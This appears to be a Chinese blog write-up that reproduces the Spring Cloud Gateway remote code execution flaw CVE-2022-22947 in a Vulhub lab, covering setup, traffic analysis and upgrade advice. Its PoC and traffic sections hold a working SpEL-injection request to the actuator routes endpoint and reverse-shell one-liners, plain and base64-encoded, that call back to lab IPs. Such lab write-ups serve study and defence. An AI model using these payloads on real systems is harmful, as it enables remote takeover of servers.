CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞复现

目录

0x01 声明:

0x02 简介:

0x03 漏洞概述:

0x04 影响版本:

0x05 环境搭建:

Docker环境:

漏洞环境:

0x06 漏洞复现:

POC:  

利用POC:

分析POC:

0x07 流量分析:

POC流量: 

反弹shell流量:

0x08 修复建议:


0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        Spring Cloud Gateway是基于Spring Framework 和 Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。建议使用Spring Cloud Gateway的用户及时安排自检并做好安全加固。

0x03 漏洞概述:

        近日,披露Spring Cloud Gateway存在一处远程代码执行漏洞(CVE-2022-22947)。当Spring Cloud Gateway启用、暴露 和不安全Gateway Actuator 端点时,攻击者可以通过向使用 Spring Cloud Gateway 的应用程序发送特制的恶意请求,触发远程任意代码执行,利用难度低,目前POC已公开,风险较高。

0x04 影响版本:

        3.1.x系列:Spring Cloud Gateway < 3.1.1

        3.0.x系列:Spring Cloud Gateway < 3.0.7

        其他旧的、不受支持的Spring Cloud Gateway版本

0x05 环境搭建:

        Docker环境:

                参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-CSDN博客)

        漏洞环境:

                1、下载vulhub

        (Vulhub环境压缩包_httpdCVE-2022-22963-网络安全文档类资源-CSDN下载)

       (https://github.com/vulhub/vulhub)

                2、进入vulhub/spring/CVE-2022-22947环境

                3、启动docker环境

                4、访问系统

CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞复现_第1张图片

0x06 漏洞复现:

        POC:  

                (自己写了很多边都回有问题,这里放大佬写好的吧。)

                (https://github.com/j-jasson/CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE)

        利用POC:

CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞复现_第2张图片

         分析POC:

注意上方这里要做反弹shell的时候需要注意格式。

bash -c {echo,xxx}|{base64,-d}|{bash,-i}

                        ||(Base64)

bash -i >& /dev/tcp/192.168.16.129/1234 0>&1  

CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞复现_第3张图片

 主要特征为:url + /actuator/gateway/routes/

0x07 流量分析:

         POC流量: 

                请求url:192.168.18.130:8080/actuator/gateway/routes/hacktest

                传递参数:

{
      "id": "hacktest",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEyMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}\")).getInputStream()))}"}
        }],
      "uri": "http://example.com",
      "order": 0
    }

                响应码:201 

CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞复现_第4张图片

        反弹shell流量:

CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞复现_第5张图片

0x08 修复建议:

        1、目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到安全版本。

        Tags · spring-cloud/spring-cloud-gateway · GitHub

你可能感兴趣的:(漏洞复现【Free】,安全,java,数据库)